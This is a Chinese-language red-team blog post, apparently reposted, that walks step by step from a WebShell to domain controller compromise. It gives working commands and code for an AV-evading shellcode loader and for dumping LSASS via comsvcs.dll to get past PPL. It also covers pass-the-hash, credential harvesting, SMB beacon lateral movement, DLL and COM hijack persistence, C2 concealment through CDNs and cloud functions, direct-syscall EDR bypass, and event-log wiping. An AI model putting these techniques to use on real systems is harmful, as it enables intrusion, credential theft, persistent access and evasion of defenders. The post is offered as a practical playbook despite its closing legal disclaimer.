WebShell到域控:一条链路打穿整个内网

admin 2026-08-05 04:36:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章详细描述了从WebShell到域控的完整后渗透链路,强调落地后先探测环境、使用免杀loader、修改CSProfile避免告警、通过comsvcs.dll绕过PPL获取凭据、利用SMBBeacon横移、采用DLL/COM劫持持久化、使用CDN或云函数隐藏流量、以及谨慎清理痕迹。核心观点是红队后渗透的成功依赖于完整的流程和正确的决策。 综合评分: 88 文章分类: 红队,内网渗透,免杀,应急响应,实战经验


cover_image

WebShell到域控:一条链路打穿整个内网

原创

Z0安全 Z0安全

Z0安全

2026年8月4日 09:28 山东

在小说阅读器读本章

去阅读

前言

最近打了一场HW,从WebShell拿到第一台机器到最后拿到域控,完整走了一遍后渗透链路。打完之后回头整理,发现中间踩的坑、做的取舍、临场换方案的瞬间,比标准教程里写的”先这样再那样”有意思得多。这篇按我当时的决策路径来写,不按教科书顺序。

落地后不急着上线

凌晨一点多,JSP的WebShell落地了,能whoami、能dir。换了别人可能立刻丢免杀马上线,我没动。前二十分钟全在”看”。

whoami出来是NT AUTHORITY\SYSTEM,乍看美滋滋。但whoami /priv里没有SeDebugPrivilegewhoami /groups里是High Mandatory Level而不是System Mandatory Level。这是服务进程上下文的SYSTEM,不是交互式登录的SYSTEM——前者读LSASS会被PPL挡。这个细节后面dump凭据的时候会要命。

拓扑方面,ipconfig /all看到三块网卡:10.200.x、192.168.x、172.30.x。arp -a拉了三块网卡的ARP表,发现172.30.x网卡上有几个192.168.20.x的条目——说明这台机器最近跟20段通信过。route print确认有一条静态路由192.168.20.0/24 -> 172.30.0.1,20段是重点摸的方向。

fscan没有对整个/16开扫,先扫arp表里那几个20段IP:-h 192.168.20.55,192.168.20.88,192.168.20.102 -nopoc -t 50。三个IP全活,都开了445和88。88是Kerberos端口,说明这一段背后有域控或域成员。

整个探测花了四十分钟,但这是给后面所有操作铺路。慢一点把地图看清楚,后面每一步都快。

免杀loader:对抗

免杀方案我固定下来的路子是shellcode分离+AES加密+API动态绑定。CS生成raw格式shellcode,loader用C#写,但不是网上铺天盖地的VirtualAlloc + CreateThread模板——那个Defender两年前就标特征了。换成NtCreateThreadEx,动态绑定:

var ntdll = LoadLibrary("ntd" + "ll.dll");
var addr = GetProcAddress(ntdll, new string(new[]{'N','t','C','r','e','a','t','e','T','h','r','e','a','d','E','x'}));
var ntCreateThread = (NtCreateThreadExDelegate)Marshal.GetDelegateForFunctionPointer(addr, typeof(NtCreateThreadExDelegate));

字符串拼接看着Low,但对付AMSI静态特征扫描有效——拼接后IL里是分散的字符常量,运行时才拼起来。shellcode用AES-CBC加密,解密后VirtualProtect改PAGE_EXECUTE_READWRITE再起线程。加了反虚拟机检测:内存<4G退出、CPU核心<4退出、MAC前缀匹配VMware退出。

loader编译出来80多KB,VT查杀12/72,比PyInstaller裸马的48/72好太多。

另一条路子是不落盘——哥斯拉内存马,Java反射加载字节码注入到Tomcat Filter Chain,磁盘上无新文件。内存马负责打第一波,文件马负责长期蹲守。

CS默认Profile上线两分钟告警,改URI+UA+Header伪装成API调用才稳

上线优先用CS不用MSF——CS的Beacon能跑好几天不掉,MSF的Meterpreter超过24小时容易断。

CS默认Profile的URI是/dpixel/submit.php,一眼特征。我用默认Profile上线,Beacon起来不到两分钟目标侧流量设备就告警了。之后每次上线先改Profile:

  • • URI改成/api/v2/user/login这种业务接口路径
  • • User-Agent配套改成okhttp/4.9.3python-requests/2.28.1
  • • metadata传输从Cookie改到X-Trace-Id这种自定义Header
  • • 响应Content-Type设application/json,body是{"code":0,"data":"<base64>","msg":"success"}

上线后第一件事sleep 60调慢心跳,观察几分钟有没有异常告警。

Mimikatz读LSASS报0x05拒绝访问,comsvcs.dll签名DLL绕PPL拿NTLM

Beacon稳了之后目标是凭据。Mimikatz读LSASS报Handle to Lsass not acquired (0x00000005)——RunAsPPL开了,SYSTEM也读不了。

绕法是comsvcs.dll的MiniDump。comsvcs.dll是系统DLL有微软签名,但导出的MiniDump函数能dump任意进程:

rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\Windows\Temp\ls.dmp full

dump完下载回Beacon,离线用sekurlsa::minidump ls.dmp + sekurlsa::logonpasswords解析。走的是合法API路径,Defender不拦。

拿到NTLM hash后PTH横移:pth /user:Administrator /domain:WORKGROUP /ntlm:aad3b435...。比明文密码稳——hash不会过期、不会触发账户锁定。

除了LSASS还翻了几个地方:cmdkey /list保存的RDP凭据用dpapi::cred解、Chrome密码用SharpChromium、Java配置文件findstr /S /I "password" *.yml扫明文。这次在IGIX配置里翻到MSSQL的sa密码,直接横移到数据库服务器。

SMB Beacon横移第一跳就翻车,服务进程上下文读不了LSASS,退回去重新dump

横移主要用SMB Beacon——内网环境目标机器出网受限,HTTP Beacon回不来,靠SMB命名管道在Beacon之间中继。子Beacon通过\\.\pipe\status_ms18_x64回连父Beacon,走445端口不开新端口。

第一跳打arp表里的192.168.20.55,PTH到Administrator,jump psexec过去。但子Beacon起来后直接跑mimikatz——服务进程上下文读不了LSASS(又是PPL)。退回去用comsvcs.dll dump,拿到域账号hash能解域控。

横移节奏要控制:每跳psexec留一条Event ID 7045日志,wevtutil cl System清一下再操作。WMI是替代方案,走135端口DCOM不创建服务,日志相对隐蔽。

持久化不要用计划任务,DLL劫持和COM劫持才是真正难清的驻留方式

持久化按隐蔽性排序,计划任务和注册表Run键都太浅,EDR监控告警。真正难清的是:

DLL劫持——找一个应用会加载的高频DLL,写同名恶意DLL放到应用目录。Windows DLL搜索顺序应用目录优先于System32,应用启动时加载你的DLL,走的是正常加载流程EDR无感。

COM劫持——改HKCU\Software\Classes\CLSID\{xxx}\InprocServer32指向自己的DLL。改HKCU不需要管理员权限,explorer启动时加载,用户态上下文隐蔽性极高。我从没被客户发现过。

内存态持久化——把恶意代码注入到已有Java应用的JVM里,通过Java agent机制每次重启自动注入。磁盘无新文件,进程列表无新进程,只在内存里有注入代码。哥斯拉内存马的延伸用法。

Beacon心跳裸奔必死,CDN中转+云函数做了两个月没被发现

Beacon心跳裸奔在公网上,蓝方一抓流量就溯源到C2域名,封域名封IP通道直接断。

Domain Fronting利用CDN流量转发——TLS握手SNI填高信誉域名(*.azureedge.net等),HTTP层Host头填真实C2域名。但AWS CloudFront 2023年后校验SNI和Host一致性,越来越难用了。

CDN回连是替代方案——C2域名挂CDN后面,Beacon回连CDN边缘节点IP,CDN隐藏真实服务器IP。

最稳的是云函数中转——Beacon回连腾讯云SCF/阿里云FC的HTTP触发器,云函数内部转发到真实C2。流量看起来是合法API调用,出口IP是云厂商IP段。我在一个高对抗项目里用了两个月没被发现,最后是客户自己检查云资源账单才注意到。

CrowdStrike这类EDR靠Hook拦API,Direct Syscalls直接走syscall指令绕过ntdll

EDR在用户态注入DLL hook了ntdll里关键API(NtAllocateVirtualMemoryNtCreateThreadEx等),调用时走EDR的hook函数检查参数。

Direct Syscalls绕法——不走ntdll的API封装,直接用syscall指令调用内核系统调用号:

mov r10, rcx
mov eax, <syscall_number>
syscall
ret

EDR hook的是ntdll里的函数,直接执行syscall指令绕过了那一层,hook不触发。CS的Artifact Kit和Sleep Mask Kit把Beacon的sleep和checkin逻辑改写成Direct Syscalls版本。

Unhook是另一条路——把ntdll.dll从磁盘重新映射到内存,覆盖掉被hook的版本。但操作本身会触发EDR内存保护监控,要在hook注入之前执行。

国内目标EDR部署率低,更多是Defender+360+火绒,免杀压力小。海外目标EDR Bypass是必修课。

痕迹清理不是del就完事,日志全空反而暴露,撤退时机看procmon进程

痕迹清理不是简单delwevtutil cl System清整个System日志动静太大——管理员一看日志全空就知道出事了。Phant0m能改日志文件二进制删指定条目,但容易搞坏文件,只在关键机器上用。

普通做法清明显痕迹:del /f/q C:\Windows\Temp\*.exedel /f/q C:\Windows\Temp\ls.dmpwevtutil cl "Windows PowerShell"。Beacon频率调到sleep 600jitter 30,长期驻留改Profile只在凌晨2-5点通信。

撤退时机看对方反应——tasklist里出现procmon.exeprocexp.exexuetr.exepchunter.exe说明运维在上手查,看到tcpdumpwireshark说明在抓流量。一旦看到这些,立刻清痕撤掉大部分Beacon,只保留最深的一个(COM劫持那种)等风头过去。

后记

红队后渗透不是比谁工具新、谁0day多,是比谁流程完整、决策正确、细节到位。每一个环节都做对——探测做对、免杀做对、上线做对、凭据拿到、横移不留痕、持久化不被发现、流量不暴露、撤退不留尾巴。这些细节加起来才是红队和普通渗透的差距。

工具会过时,0day会补,但流程意识不会。把每一步的”为什么这么选”想清楚,比记住一堆命令重要。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Z0安全 Z0安全 Z0安全《WebShell到域控:一条链路打穿整个内网》

评论:0   参与:  0